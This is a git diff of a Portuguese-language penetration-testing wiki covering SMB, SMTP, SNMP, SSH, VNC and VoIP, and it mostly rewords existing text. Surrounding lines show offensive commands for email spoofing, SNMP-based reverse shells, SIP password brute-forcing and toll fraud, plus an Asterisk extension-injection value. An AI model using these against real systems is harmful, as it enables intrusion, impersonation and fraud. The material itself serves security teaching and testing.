específicos? | | `create mask = 0777` | Quais permissões devem ser atribuídas aos arquivos recém-criados? | | `directory mask = 0777` | Quais permissões devem ser atribuídas aos diretórios recém-criados? | -| `logon script = script.sh`| Qual script precisa ser executado no login do usuário? | +| `logon script = script.sh`| Qual script precisa ser executado no login do usuário? | | `magic script = script.sh`| Qual script deve ser executado quando o script for fechado? | | `magic output = script.out`| Onde a saída do script mágico deve ser armazenada? | @@ -392,7 +392,7 @@ Usando **parameter**`-k` você pode autenticar contra **kerberos** em vez de **N ### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec -Execute furtivamente um shell de comando sem tocar no disco ou executar um novo serviço usando DCOM via **port 135.**\ +Execute stealthily um shell de comando sem tocar no disco ou executar um novo serviço usando DCOM via **port 135.**\ Em **kali** está localizado em /usr/share/doc/python3-impacket/examples/ ```bash #If no password is provided, it will be prompted diff --git a/src/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md b/src/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md index a2db753dd..2bae2815a 100644 --- a/src/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md +++ b/src/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md @@ -3,12 +3,12 @@ {{#include ../../banners/hacktricks-training.md}} -### Visão Geral de Identificadores Relativos (RID) e Identificadores de Segurança (SID) +### Visão Geral dos Identificadores Relativos (RID) e Identificadores de Segurança (SID) **Identificadores Relativos (RID)** e **Identificadores de Segurança (SID)** são componentes chave nos sistemas operacionais Windows para identificar e gerenciar objetos, como usuários e grupos, dentro de um domínio de rede. - **SIDs** servem como identificadores únicos para domínios, garantindo que cada domínio seja distinguível. -- **RIDs** são anexados aos SIDs para criar identificadores únicos para objetos dentro desses domínios. Essa combinação permite um rastreamento e gerenciamento precisos das permissões e controles de acesso dos objetos. +- **RIDs** são anexados aos SIDs para criar identificadores únicos para objetos dentro desses domínios. Essa combinação permite um rastreamento e gerenciamento precisos das permissões de objetos e controles de acesso. Por exemplo, um usuário chamado `pepe` pode ter um identificador único combinando o SID do domínio com seu RID específico, representado em formatos hexadecimal (`0x457`) e decimal (`1111`). Isso resulta em um identificador completo e único para pepe dentro do domínio como: `S-1-5-21-1074507654-1937615267-42093643874-1111`. @@ -61,23 +61,23 @@ done - **SIDs por nome** usando: `lookupnames `. - **Mais SIDs** através de: `lsaenumsid`. -- **Ciclo RID para verificar mais SIDs** é realizado por: `lookupsids `. +- **Ciclo de RID para verificar mais SIDs** é realizado por: `lookupsids `. #### **Comandos Extras** | **Comando** | **Interface** | **Descrição** | | ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- | | queryuser | SAMR | Recuperar informações do usuário | -| querygroup | Recuperar informações do grupo | | -| querydominfo | Recuperar informações do domínio | | -| enumdomusers | Enumerar usuários do domínio | | -| enumdomgroups | Enumerar grupos do domínio | | -| createdomuser | Criar um usuário do domínio | | -| deletedomuser | Deletar um usuário do domínio | | +| querygroup | Recuperar informações do grupo | | +| querydominfo | Recuperar informações do domínio | | +| enumdomusers | Enumerar usuários do domínio | | +| enumdomgroups | Enumerar grupos do domínio | | +| createdomuser | Criar um usuário de domínio | | +| deletedomuser | Deletar um usuário de domínio | | | lookupnames | LSARPC | Procurar nomes de usuários para valores SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) | | lookupsids | Procurar SIDs para nomes de usuários (ciclo RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9)) | | -| lsaaddacctrights | Adicionar direitos a uma conta de usuário | | -| lsaremoveacctrights | Remover direitos de uma conta de usuário | | +| lsaaddacctrights | Adicionar direitos a uma conta de usuário | | +| lsaremoveacctrights | Remover direitos de uma conta de usuário | | | dsroledominfo | LSARPC-DS | Obter informações do domínio primário | | dsenumdomtrusts | Enumerar domínios confiáveis dentro de uma floresta AD | | diff --git a/src/network-services-pentesting/pentesting-smtp/README.md b/src/network-services-pentesting/pentesting-smtp/README.md index bac007a58..4c2a59e50 100644 --- a/src/network-services-pentesting/pentesting-smtp/README.md +++ b/src/network-services-pentesting/pentesting-smtp/README.md @@ -83,7 +83,7 @@ MAIL FROM: me ``` ### Sniffing -Verifique se você captura alguma senha dos pacotes para a porta 25 +Verifique se você consegue capturar alguma senha dos pacotes para a porta 25 ### [Auth bruteforce](../../generic-hacking/brute-force.md#smtp) @@ -150,7 +150,7 @@ Nmap: nmap --script smtp-enum-users ``` ## Relatórios DSN -**Relatórios de Notificação de Status de Entrega**: Se você enviar um **email** para uma organização para um **endereço inválido**, a organização notificará que o endereço era inválido enviando um **email de volta para você**. Os **cabeçalhos** do email retornado **contêm** possíveis **informações sensíveis** (como o endereço IP dos serviços de email que interagiram com os relatórios ou informações do software antivírus). +**Relatórios de Notificação de Status de Entrega**: Se você enviar um **email** para uma organização para um **endereço inválido**, a organização notificará que o endereço era inválido enviando um **email de volta para você**. Os **cabeçalhos** do email retornado **contêm** possíveis **informações sensíveis** (como o endereço IP dos serviços de email que interagiram com os relatórios ou informações de software antivírus). ## [Comandos](smtp-commands.md) @@ -219,7 +219,7 @@ print("[***]successfully sent email to %s:" % (msg['To'])) ## SMTP Smuggling -A vulnerabilidade de SMTP Smuggling permitiu contornar todas as proteções SMTP (verifique a próxima seção para mais informações sobre as proteções). Para mais informações sobre SMTP Smuggling, consulte: +A vulnerabilidade de SMTP Smuggling permitiu contornar todas as proteções SMTP (consulte a próxima seção para mais informações sobre as proteções). Para mais informações sobre SMTP Smuggling, consulte: {{#ref}} smtp-smuggling.md @@ -286,15 +286,15 @@ _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 dig txt _netblocks3.google.com | grep spf _netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all" ``` -Tradicionalmente, era possível falsificar qualquer nome de domínio que não tivesse um registro SPF correto/qualquer. **Hoje em dia**, se **o e-mail** vier de um **domínio sem um registro SPF válido**, provavelmente será **rejeitado/marcado como não confiável automaticamente**. +Tradicionalmente, era possível falsificar qualquer nome de domínio que não tivesse um registro SPF correto/qualquer. **Hoje em dia**, se **o email** vem de um **domínio sem um registro SPF válido**, provavelmente será **rejeitado/marcado como não confiável automaticamente**. Para verificar o SPF de um domínio, você pode usar ferramentas online como: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html) ### DKIM (DomainKeys Identified Mail) -DKIM é utilizado para assinar e-mails de saída, permitindo sua validação por Agentes de Transferência de Correio (MTAs) externos através da recuperação da chave pública do domínio no DNS. Esta chave pública está localizada no registro TXT de um domínio. Para acessar esta chave, é necessário conhecer tanto o seletor quanto o nome do domínio. +DKIM é utilizado para assinar emails de saída, permitindo sua validação por Agentes de Transferência de Email (MTAs) externos através da recuperação da chave pública do domínio no DNS. Esta chave pública está localizada no registro TXT de um domínio. Para acessar esta chave, é necessário conhecer tanto o seletor quanto o nome do domínio. -Por exemplo, para solicitar a chave, o nome do domínio e o seletor são essenciais. Estes podem ser encontrados no cabeçalho do e-mail `DKIM-Signature`, e.g., `d=gmail.com;s=20120113`. +Por exemplo, para solicitar a chave, o nome do domínio e o seletor são essenciais. Estes podem ser encontrados no cabeçalho do email `DKIM-Signature`, e.g., `d=gmail.com;s=20120113`. Um comando para buscar essas informações pode parecer: ```bash @@ -330,16 +330,16 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA | rua | URI de relatório de relatórios agregados | rua=mailto:aggrep@example.com | | p | Política para o domínio organizacional | p=quarantine | | sp | Política para subdomínios do OD | sp=reject | -| adkim | Modo de alinhamento para DKIM | adkim=s | -| aspf | Modo de alinhamento para SPF | aspf=r | +| adkim | Modo de alinhamento para DKIM | adkim=s | +| aspf | Modo de alinhamento para SPF | aspf=r | ### **E os Subdomínios?** **De** [**aqui**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\ Você precisa ter registros SPF separados para cada subdomínio do qual deseja enviar e-mails.\ -O seguinte foi originalmente postado no openspf.org, que costumava ser um ótimo recurso para esse tipo de coisa. +O seguinte foi originalmente postado em openspf.org, que costumava ser um ótimo recurso para esse tipo de coisa. -> A Pergunta Demoníaca: E os subdomínios? +> A Pergunta Demon: E os subdomínios? > > Se eu receber um e-mail de pielovers.demon.co.uk, e não houver dados SPF para pielovers, devo voltar um nível e testar SPF para demon.co.uk? Não. Cada subdomínio na Demon é um cliente diferente, e cada cliente pode ter sua própria política. Não faria sentido que a política da Demon se aplicasse a todos os seus clientes por padrão; se a Demon quiser fazer isso, pode configurar registros SPF para cada subdomínio. > @@ -382,7 +382,7 @@ python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com ``` > [!WARNING] -> Se você encontrar algum **erro ao usar a biblioteca dkim python** para analisar a chave, sinta-se à vontade para usar a seguinte.\ +> Se você receber algum **erro ao usar a biblioteca dkim python** ao analisar a chave, sinta-se à vontade para usar a seguinte.\ > **NOTA**: Esta é apenas uma solução rápida para fazer verificações rápidas em casos onde, por algum motivo, a chave privada openssl **não pode ser analisada pelo dkim**. > > ``` diff --git a/src/network-services-pentesting/pentesting-smtp/smtp-smuggling.md b/src/network-services-pentesting/pentesting-smtp/smtp-smuggling.md index 31cbf4adf..da30d4935 100644 --- a/src/network-services-pentesting/pentesting-smtp/smtp-smuggling.md +++ b/src/network-services-pentesting/pentesting-smtp/smtp-smuggling.md @@ -4,7 +4,7 @@ ## Informações Básicas -Esse tipo de vulnerabilidade foi [**originalmente descoberto neste post**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/) onde é explicado que é possível **explorar discrepâncias na forma como o protocolo SMTP é interpretado** ao finalizar um e-mail, permitindo que um atacante contrabandeie mais e-mails no corpo do e-mail legítimo, permitindo se passar por outros usuários do domínio afetado (como admin@outlook.com) contornando defesas como SPF. +Esse tipo de vulnerabilidade foi [**originalmente descoberto neste post**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/) onde é explicado que é possível **explorar discrepâncias em como o protocolo SMTP é interpretado** ao finalizar um e-mail, permitindo que um atacante contrabandeie mais e-mails no corpo do e-mail legítimo, permitindo se passar por outros usuários do domínio afetado (como admin@outlook.com) contornando defesas como SPF. ### Por que diff --git a/src/network-services-pentesting/pentesting-snmp/README.md b/src/network-services-pentesting/pentesting-snmp/README.md index d7aa6c13a..e6e3e19c6 100644 --- a/src/network-services-pentesting/pentesting-snmp/README.md +++ b/src/network-services-pentesting/pentesting-snmp/README.md @@ -11,7 +11,7 @@ PORT STATE SERVICE REASON VERSION 161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public) ``` > [!NOTE] -> O SNMP também usa a porta **162/UDP** para **traps**. Estes são dados **pacotes enviados do servidor SNMP para o cliente sem serem explicitamente solicitados**. +> O SNMP também usa a porta **162/UDP** para **traps**. Estes são pacotes de dados **enviados do servidor SNMP para o cliente sem serem explicitamente solicitados**. ### MIB @@ -29,7 +29,7 @@ Além disso, os fornecedores têm a liberdade de estabelecer ramificações priv ![](<../../images/SNMP_OID_MIB_Tree (1).png>) Você pode **navegar** por uma **árvore OID** na web aqui: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) ou **ver o que um OID significa** (como `1.3.6.1.2.1.1`) acessando [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\ -Existem alguns **OIDs bem conhecidos** como os que estão dentro de [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) que referenciam variáveis do Simple Network Management Protocol (SNMP) definidas no MIB-2. E a partir dos **OIDs pendentes deste** você pode obter alguns dados interessantes do host (dados do sistema, dados da rede, dados de processos...) +Existem alguns **OIDs bem conhecidos** como os dentro de [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) que referenciam variáveis do Simple Network Management Protocol (SNMP) definidas no MIB-2. E a partir dos **OIDs pendentes deste** você pode obter alguns dados interessantes do host (dados do sistema, dados da rede, dados de processos...) ### **Exemplo de OID** @@ -82,7 +82,7 @@ Existem **2 tipos de community strings**: Note que **a capacidade de gravação de um OID depende da community string utilizada**, então **mesmo** que você descubra que "**public**" está sendo usado, você pode ser capaz de **gravar alguns valores.** Além disso, pode **existir** objetos que são **sempre "Somente Leitura".**\ Se você tentar **gravar** um objeto, um erro **`noSuchName` ou `readOnly`** é recebido\*\*.\*\* -Nas versões 1 e 2/2c, se você usar uma **bad** community string, o servidor não **responderá**. Portanto, se ele responder, uma **community string válida foi usada**. +Nas versões 1 e 2/2c, se você usar uma **bad** community string, o servidor não irá **responder**. Portanto, se ele responder, uma **community string válida foi usada**. ## Portas @@ -121,7 +121,7 @@ nmap --script "snmp* and not snmp-brute" braa @:.1.3.6.* #Bruteforce specific OID ``` -Graças às consultas estendidas (download-mibs), é possível enumerar ainda mais sobre o sistema com o seguinte comando: +Graças a consultas estendidas (download-mibs), é possível enumerar ainda mais sobre o sistema com o seguinte comando: ```bash snmpwalk -v X -c public NET-SNMP-EXTEND-MIB::nsExtendOutputFull ``` @@ -188,7 +188,7 @@ Então, vamos procurar as informações mais interessantes (de [https://blog.rap ### **Dispositivos** -O processo começa com a extração de **sysDesc MIB data** (1.3.6.1.2.1.1.1.0) de cada arquivo para identificar os dispositivos. Isso é realizado através do uso de um **grep command**: +O processo começa com a extração de **dados MIB sysDesc** (1.3.6.1.2.1.1.1.0) de cada arquivo para identificar os dispositivos. Isso é realizado através do uso de um **comando grep**: ```bash grep ".1.3.6.1.2.1.1.1.0" *.snmp ``` diff --git a/src/network-services-pentesting/pentesting-snmp/snmp-rce.md b/src/network-services-pentesting/pentesting-snmp/snmp-rce.md index 430795782..8cb53a8c4 100644 --- a/src/network-services-pentesting/pentesting-snmp/snmp-rce.md +++ b/src/network-services-pentesting/pentesting-snmp/snmp-rce.md @@ -2,7 +2,7 @@ # SNMP RCE -O SNMP pode ser explorado por um atacante se o administrador ignorar sua configuração padrão no dispositivo ou servidor. Ao **abusar da comunidade SNMP com permissões de gravação (rwcommunity)** em um sistema operacional Linux, o atacante pode executar comandos no servidor. +O SNMP pode ser explorado por um atacante se o administrador ignorar sua configuração padrão no dispositivo ou servidor. Ao **abusar da comunidade SNMP com permissões de escrita (rwcommunity)** em um sistema operacional Linux, o atacante pode executar comandos no servidor. ## Estendendo Serviços com Comandos Adicionais @@ -29,7 +29,7 @@ Quando o **comando injetado é lido, ele é executado**. Esse comportamento é c Para obter controle sobre o servidor e conseguir um shell do servidor, um script em python desenvolvido por mxrch pode ser utilizado a partir de [**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git). -Alternativamente, um shell reverso pode ser criado manualmente injetando um comando específico no SNMP. Este comando, acionado pelo snmpwalk, estabelece uma conexão de shell reverso com a máquina do atacante, permitindo controle sobre a máquina da vítima. Você pode instalar o pré-requisito para executar isso: +Alternativamente, um shell reverso pode ser criado manualmente injetando um comando específico no SNMP. Este comando, acionado pelo snmpwalk, estabelece uma conexão de shell reverso com a máquina do atacante, permitindo o controle sobre a máquina da vítima. Você pode instalar o pré-requisito para executar isso: ```bash sudo apt install snmp snmp-mibs-downloader rlwrap -y git clone https://github.com/mxrch/snmp-shell diff --git a/src/network-services-pentesting/pentesting-ssh.md b/src/network-services-pentesting/pentesting-ssh.md index 4d091181a..85a101108 100644 --- a/src/network-services-pentesting/pentesting-ssh.md +++ b/src/network-services-pentesting/pentesting-ssh.md @@ -14,7 +14,7 @@ ``` **Servidores SSH:** -- [openSSH](http://www.openssh.org) – OpenBSD SSH, incluído nas distribuições BSD, Linux e Windows desde o Windows 10 +- [openSSH](http://www.openssh.org) – OpenBSD SSH, incluído em distribuições BSD, Linux e Windows desde o Windows 10 - [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – implementação SSH para ambientes com poucos recursos de memória e processador, incluído no OpenWrt - [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – implementação SSH para Windows, o cliente é comumente usado, mas o uso do servidor é mais raro - [CopSSH](https://www.itefix.net/copssh) – implementação do OpenSSH para Windows @@ -40,7 +40,7 @@ ssh-audit é uma ferramenta para auditoria de configuração de servidor e clien **Recursos:** -- Suporte ao servidor dos protocolos SSH1 e SSH2; +- Suporte ao protocolo SSH1 e SSH2; - analisar a configuração do cliente SSH; - capturar banner, reconhecer dispositivo ou software e sistema operacional, detectar compressão; - coletar algoritmos de troca de chaves, chave do host, criptografia e código de autenticação de mensagem; @@ -252,7 +252,7 @@ Se você puder acessar o arquivo "_froot_" via web, poderá listar a pasta raiz ### Métodos de autenticação -Em ambientes de alta segurança, é uma prática comum habilitar apenas a autenticação baseada em chave ou autenticação de dois fatores, em vez da simples autenticação baseada em senha. Mas muitas vezes, os métodos de autenticação mais fortes são habilitados sem desabilitar os mais fracos. Um caso frequente é habilitar `publickey` na configuração do openSSH e defini-lo como o método padrão, mas não desabilitar `password`. Assim, usando o modo verbose do cliente SSH, um atacante pode ver que um método mais fraco está habilitado: +Em ambientes de alta segurança, é uma prática comum habilitar apenas autenticação baseada em chave ou autenticação de dois fatores, em vez da simples autenticação baseada em senha. Mas muitas vezes, os métodos de autenticação mais fortes são habilitados sem desabilitar os mais fracos. Um caso frequente é habilitar `publickey` na configuração do openSSH e defini-lo como o método padrão, mas não desabilitar `password`. Assim, usando o modo verbose do cliente SSH, um atacante pode ver que um método mais fraco está habilitado: ```bash ssh -v 192.168.1.94 OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019 diff --git a/src/network-services-pentesting/pentesting-telnet.md b/src/network-services-pentesting/pentesting-telnet.md index 5c6819ee6..6a62cd3f2 100644 --- a/src/network-services-pentesting/pentesting-telnet.md +++ b/src/network-services-pentesting/pentesting-telnet.md @@ -25,7 +25,7 @@ O script `telnet-ntlm-info.nse` obterá informações NTLM (versões do Windows) Do [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): No Protocolo TELNET existem várias "**opções**" que serão sancionadas e podem ser usadas com a estrutura "**DO, DON'T, WILL, WON'T**" para permitir que um usuário e um servidor concordem em usar um conjunto mais elaborado (ou talvez apenas diferente) de convenções para sua conexão TELNET. Essas opções podem incluir a mudança do conjunto de caracteres, o modo de eco, etc. -**Eu sei que é possível enumerar essas opções, mas não sei como, então me avise se souber como.** +**Eu sei que é possível enumerar essas opções, mas não sei como, então me avise se você souber como.** ### [Força bruta](../generic-hacking/brute-force.md#telnet) diff --git a/src/network-services-pentesting/pentesting-vnc.md b/src/network-services-pentesting/pentesting-vnc.md index 330ab778e..e9e6bd2e7 100644 --- a/src/network-services-pentesting/pentesting-vnc.md +++ b/src/network-services-pentesting/pentesting-vnc.md @@ -5,9 +5,9 @@ ## Informações Básicas -**Virtual Network Computing (VNC)** é um sistema robusto de compartilhamento de desktop gráfico que utiliza o protocolo **Remote Frame Buffer (RFB)** para permitir o controle remoto e a colaboração com outro computador. Com o VNC, os usuários podem interagir perfeitamente com um computador remoto, transmitindo eventos de teclado e mouse bidirecionalmente. Isso permite acesso em tempo real e facilita assistência ou colaboração remota eficiente através de uma rede. +**Virtual Network Computing (VNC)** é um sistema robusto de compartilhamento de desktop gráfico que utiliza o protocolo **Remote Frame Buffer (RFB)** para permitir o controle remoto e a colaboração com outro computador. Com o VNC, os usuários podem interagir perfeitamente com um computador remoto, transmitindo eventos de teclado e mouse bidirecionalmente. Isso permite acesso em tempo real e facilita assistência remota ou colaboração eficiente através de uma rede. -O VNC geralmente utiliza as portas **5800 ou 5801 ou 5900 ou 5901.** +O VNC geralmente usa as portas **5800 ou 5801 ou 5900 ou 5901.** ``` PORT STATE SERVICE 5900/tcp open vnc @@ -25,7 +25,7 @@ vncviewer [-passwd passwd.txt] ::5901 ``` ## Descriptografando a senha do VNC -A **senha padrão é armazenada** em: \~/.vnc/passwd +A **senha padrão está armazenada** em: \~/.vnc/passwd Se você tiver a senha do VNC e ela parecer criptografada (alguns bytes, como se pudesse ser uma senha criptografada), provavelmente está cifrada com 3des. Você pode obter a senha em texto claro usando [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd) ```bash diff --git a/src/network-services-pentesting/pentesting-voip/README.md b/src/network-services-pentesting/pentesting-voip/README.md index f894ab3c9..a41015649 100644 --- a/src/network-services-pentesting/pentesting-voip/README.md +++ b/src/network-services-pentesting/pentesting-voip/README.md @@ -131,7 +131,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261 ### Números de Telefone -Um dos primeiros passos que uma Red Team pode dar é procurar números de telefone disponíveis para contatar a empresa usando ferramentas de OSINT, buscas no Google ou raspagem de páginas da web. +Um dos primeiros passos que uma Red Team pode fazer é procurar números de telefone disponíveis para contatar a empresa usando ferramentas de OSINT, buscas no Google ou raspagem de páginas da web. Uma vez que você tenha os números de telefone, você pode usar serviços online para identificar o operador: @@ -140,7 +140,7 @@ Uma vez que você tenha os números de telefone, você pode usar serviços onlin - [https://www.whitepages.com/](https://www.whitepages.com/) - [https://www.twilio.com/lookup](https://www.twilio.com/lookup) -Saber se o operador fornece serviços de VoIP pode ajudá-lo a identificar se a empresa está usando VoIP... Além disso, é possível que a empresa não tenha contratado serviços de VoIP, mas esteja usando cartões PSTN para conectar seu próprio PBX VoIP à rede de telefonia tradicional. +Saber se o operador fornece serviços de VoIP pode ajudar a identificar se a empresa está usando VoIP... Além disso, é possível que a empresa não tenha contratado serviços de VoIP, mas esteja usando cartões PSTN para conectar seu próprio PBX VoIP à rede de telefonia tradicional. Coisas como respostas automáticas de música geralmente indicam que o VoIP está sendo usado. @@ -192,7 +192,7 @@ sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24 # Use --fp to fingerprint the services svmap 10.10.0.0/24 -p 5060-5070 [--fp] ``` -- **`SIPPTS scan`** de [**sippts**](https://github.com/Pepelux/sippts)**:** O SIPPTS scan é um scanner muito rápido para serviços SIP sobre UDP, TCP ou TLS. Ele utiliza multithread e pode escanear grandes faixas de redes. Permite indicar facilmente um intervalo de portas, escanear tanto TCP quanto UDP, usar outro método (por padrão, usará OPTIONS) e especificar um User-Agent diferente (e mais). +- **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** O SIPPTS scan é um scanner muito rápido para serviços SIP sobre UDP, TCP ou TLS. Ele utiliza multithread e pode escanear grandes faixas de redes. Permite indicar facilmente uma faixa de portas, escanear tanto TCP quanto UDP, usar outro método (por padrão, usará OPTIONS) e especificar um User-Agent diferente (e mais). ```bash sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER] @@ -241,7 +241,7 @@ sippts wssend -i 10.10.0.10 -r 443 -path /ws Extensões em um sistema PBX (Private Branch Exchange) referem-se aos **identificadores internos únicos atribuídos a linhas** telefônicas, dispositivos ou usuários individuais dentro de uma organização ou empresa. As extensões possibilitam **rutar chamadas dentro da organização de forma eficiente**, sem a necessidade de números de telefone externos individuais para cada usuário ou dispositivo. -- **`svwar`** do SIPVicious (`sudo apt install sipvicious`): `svwar` é um scanner de linha de extensão SIP PBX gratuito. Em conceito, funciona de forma semelhante aos discadores tradicionais, **adivinhando uma faixa de extensões ou uma lista específica de extensões**. +- **`svwar`** do SIPVicious (`sudo apt install sipvicious`): `svwar` é um scanner de linha de extensão SIP PBX gratuito. Em conceito, funciona de forma semelhante aos discadores tradicionais, **adivinhando uma faixa de extensões ou uma lista dada de extensões**. ```bash svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER ``` @@ -275,7 +275,7 @@ Tendo descoberto o **PBX** e alguns **números de ramal/nome de usuário**, uma svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions ``` -- **`SIPPTS rcrack`** do [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack é um cracker de senha remoto para serviços SIP. Rcrack pode testar senhas para vários usuários em diferentes IPs e faixas de portas. +- **`SIPPTS rcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack é um cracker de senha remoto para serviços SIP. Rcrack pode testar senhas para vários usuários em diferentes IPs e faixas de portas. ```bash sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt ``` @@ -299,7 +299,7 @@ Para obter essas informações, você pode usar ferramentas como Wireshark, tcpd [Verifique este exemplo para entender melhor uma **comunicação SIP REGISTER**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) para aprender como as **credenciais estão sendo enviadas**. -- **`sipdump`** & **`sipcrack`,** parte do **sipcrack** (`apt-get install sipcrack`): Essas ferramentas podem **extrair** de um **pcap** as **autenticações digest** dentro do protocolo SIP e **bruteforçá-las**. +- **`sipdump`** & **`sipcrack`,** parte do **sipcrack** (`apt-get install sipcrack`): Essas ferramentas podem **extrair** de um **pcap** as **autenticações digest** dentro do protocolo SIP e **bruteforce** elas. ```bash sipdump -p net-capture.pcap sip-creds.txt sipcrack sip-creds.txt -w dict.txt @@ -330,7 +330,7 @@ No Asterisk, é possível permitir uma conexão **de um endereço IP específico host=10.10.10.10 host=dynamic ``` -Se um endereço IP for especificado, o host **não precisará enviar solicitações REGISTER** de vez em quando (no pacote REGISTER é enviado o tempo de vida, geralmente 30min, o que significa que em outro cenário o telefone precisará se REGISTRAR a cada 30min). No entanto, ele precisará ter portas abertas permitindo conexões do servidor VoIP para receber chamadas. +Se um endereço IP for especificado, o host **não precisará enviar solicitações REGISTER** de vez em quando (no pacote REGISTER é enviado o tempo de vida, geralmente 30min, o que significa que em outro cenário o telefone precisará se REGISTRAR a cada 30 minutos). No entanto, ele precisará ter portas abertas permitindo conexões do servidor VoIP para receber chamadas. Para definir usuários, eles podem ser definidos como: @@ -354,7 +354,7 @@ Também é possível estabelecer confiança com a variável insegura: ### Chamadas Gratuitas / Configurações Incorretas de Contexto do Asterisk -No Asterisk, um **contexto** é um contêiner ou seção nomeada no plano de discagem que **agrupa extensões, ações e regras relacionadas**. O plano de discagem é o componente central de um sistema Asterisk, pois define **como as chamadas recebidas e enviadas são tratadas e roteadas**. Os contextos são usados para organizar o plano de discagem, gerenciar controle de acesso e fornecer separação entre diferentes partes do sistema. +No Asterisk, um **contexto** é um contêiner ou seção nomeada no plano de discagem que **agrupa extensões, ações e regras relacionadas**. O plano de discagem é o componente central de um sistema Asterisk, pois define **como as chamadas de entrada e saída são tratadas e roteadas**. Os contextos são usados para organizar o plano de discagem, gerenciar controle de acesso e fornecer separação entre diferentes partes do sistema. Cada contexto é definido no arquivo de configuração, tipicamente no arquivo **`extensions.conf`**. Os contextos são denotados por colchetes, com o nome do contexto encerrado dentro deles. Por exemplo: ```bash @@ -386,7 +386,7 @@ include => external > [!CAUTION] > Além disso, por padrão, o arquivo **`sip.conf`** contém **`allowguest=true`**, então **qualquer** atacante sem **autenticação** poderá ligar para qualquer outro número. -- **`SIPPTS invite`** do [**sippts**](https://github.com/Pepelux/sippts)**:** O convite SIPPTS verifica se um **servidor PBX nos permite fazer chamadas sem autenticação**. Se o servidor SIP tiver uma configuração incorreta, ele nos permitirá fazer chamadas para números externos. Também pode nos permitir transferir a chamada para um segundo número externo. +- **`SIPPTS invite`** de [**sippts**](https://github.com/Pepelux/sippts)**:** O convite SIPPTS verifica se um **servidor PBX nos permite fazer chamadas sem autenticação**. Se o servidor SIP tiver uma configuração incorreta, ele nos permitirá fazer chamadas para números externos. Também pode nos permitir transferir a chamada para um segundo número externo. Por exemplo, se o seu servidor Asterisk tiver uma configuração de contexto ruim, você pode aceitar solicitações INVITE sem autorização. Nesse caso, um atacante pode fazer chamadas sem conhecer qualquer usuário/senha. ```bash @@ -398,7 +398,7 @@ sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444 ``` ### Chamadas gratuitas / IVRS mal configurados -IVRS significa **Sistema de Resposta de Voz Interativa**, uma tecnologia de telefonia que permite aos usuários interagir com um sistema computadorizado por meio de entradas de voz ou toque. O IVRS é usado para construir sistemas de **manipulação automatizada de chamadas** que oferecem uma variedade de funcionalidades, como fornecer informações, direcionar chamadas e capturar entradas do usuário. +IVRS significa **Sistema de Resposta de Voz Interativa**, uma tecnologia de telefonia que permite que os usuários interajam com um sistema computadorizado por meio de entradas de voz ou toque. O IVRS é usado para construir sistemas de **manipulação automatizada de chamadas** que oferecem uma variedade de funcionalidades, como fornecer informações, direcionar chamadas e capturar entradas do usuário. O IVRS em sistemas VoIP geralmente consiste em: @@ -419,7 +419,7 @@ exten => 0,103,GotoIf("$[${numbers}"=""]?100) exten => 0,104,Dial(LOCAL/${numbers}) ``` O anterior é um exemplo onde o usuário é solicitado a **pressionar 1 para chamar** um departamento, **2 para chamar** outro, ou **o número completo** se souber.\ -A vulnerabilidade é o fato de que o **comprimento da extensão indicada não é verificado, então um usuário poderia inserir o tempo limite de 5 segundos de um número completo e ele será chamado.** +A vulnerabilidade é o fato de que o **comprimento da extensão indicado não é verificado, então um usuário poderia inserir o tempo limite de 5 segundos de um número completo e ele será chamado.** ### Injeção de Extensão @@ -435,7 +435,7 @@ No entanto, se **`${EXTEN}`** permitir a introdução de **mais do que números* ```scss exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123) ``` -Portanto, uma chamada para a extensão **`101`** e 